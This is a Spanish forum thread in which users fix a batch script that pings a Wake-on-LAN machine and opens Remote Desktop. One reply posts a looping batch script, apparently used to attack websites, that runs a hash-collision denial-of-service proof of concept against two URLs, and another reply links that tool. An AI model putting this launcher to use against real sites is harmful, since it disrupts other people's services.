[Solucionado]ping a maquina sino responde fail,si responde okay,start process

Iniciado por Anonymous250, 6 Julio 2012, 20:49 PM

0 Miembros y 1 Visitante están viendo este tema.

Anonymous250

Hola es facilisimo creo ,es algo asi supongo ,que e estado mirando,a ver si lo saco en la tarde o mañana.

@echo off
set maquina=192.168.1.70
ping -n 1 %maquina% > nul
if errorlevel 1 echo fallo
else okey! & start
C:\WINDOWS\system32\mstsc.exe
exit

La finalidad de este bat,es que uso el wol magic packet sender(es un programa),para levantar un ordenador apagado,y ahi alguna vez que falla,y para no estar mirando a la otra habitacion,hago ping y asi se si esta encendido.
Y puedo controlarlo remotamente con el escritorio remoto de windows ,o bien con poner la ruta de cualquier otro programa tal como el vnc.

Eleкtro

¿Y la sintaxis?
Código (DOS) [Seleccionar]
IF condición (esto) ELSE (aquello)
()

¿"Else okey!"? ¿Que comando es "Okey!"? :P

El comando "Start" no ejecuta nada, El argumento está vacío ya que colocas la ruta en la linea de abajo... No puedes poner las cosas a tu antojo donde quieras, Todo tiene un orden que seguir.

EDITO: Se agradece ver que lo has intentado por ti mismo antes de hacer la pregunta.

La corrección sería esta:
Código (dos) [Seleccionar]
@Echo OFF
set maquina=localhost
ping -n 1 %maquina% > nul
if errorlevel 1 (
echo fallo
) else (
Echo okey!
start C:\WINDOWS\system32\mstsc.exe
)
pause
Exit



Y lo que te recomiendo que hagas es esto:
Código (dos) [Seleccionar]
@Echo OFF
set maquina=192.168.1.70
Ping -n 1 %MAQUINA% >NUL 2>&1 && Echo Okey. && Start %WINDIR%\system32\mstsc.exe || (Echo Fallo) & Pause & Exit


Un saludo.








Stakewinner00

Cuelgo ak iun code k utilize para atacar unas webs nazis para dejar el pc encendido y k vaya atacando

Código (DOS) [Seleccionar]
@echo off
:a
ping hostname.com -l 1
goto %ERRORLEVEL%
exit
:0
echo.
echo ---------------------------------------------------
echo.
echo ESTA VIVO
HashtablePOC.py -u http://host.com/?page_id=1037
HashtablePOC.py -u http://host.info/index.php?p=1_13_Spain -v -c 500 -t PHP
-v -c 500 -t PHP

pause >nul
:1
echo.
echo ---------------------------------------------------
echo.
echo ESTA MUERTO
pause>nul
goto a

Eleкtro

Cita de: Stakewinner00 en  7 Julio 2012, 00:12 AM
Cuelgo ak iun code k utilize para atacar unas webs nazis para dejar el pc encendido y k vaya atacando
Es un comentario fuera de lugar, Pero me ha hecho gracia xD, Ya no recordaba lo de las webs nazis xDDD  :P

PD: Faltaría el script de python (HashtablePOC.py) https://github.com/FireFart/HashCollision-DOS-POC/blob/master/HashtablePOC.py

saludos








Anonymous250

Jaja,sip EleKtro H@cker  me ha hecho gracia tu comentario   :xD,buen sentido del humor
Cita de: EleKtro H@cker en  6 Julio 2012, 21:55 PM
¿"Else okey!"? ¿Que comando es "Okey!"? :P
Digamos que hice un esquema o un croquis,con la sintaxis mal de los comandos,doy fe de ello que los puse mal :laugh:

Muchas gracias a los dos por la ayuda,tomo nota ,y apuntes,  unos cracks  ;) ;D y por la pronta respuesta claro,doy el tema por solucionado.

Gracias y saludos.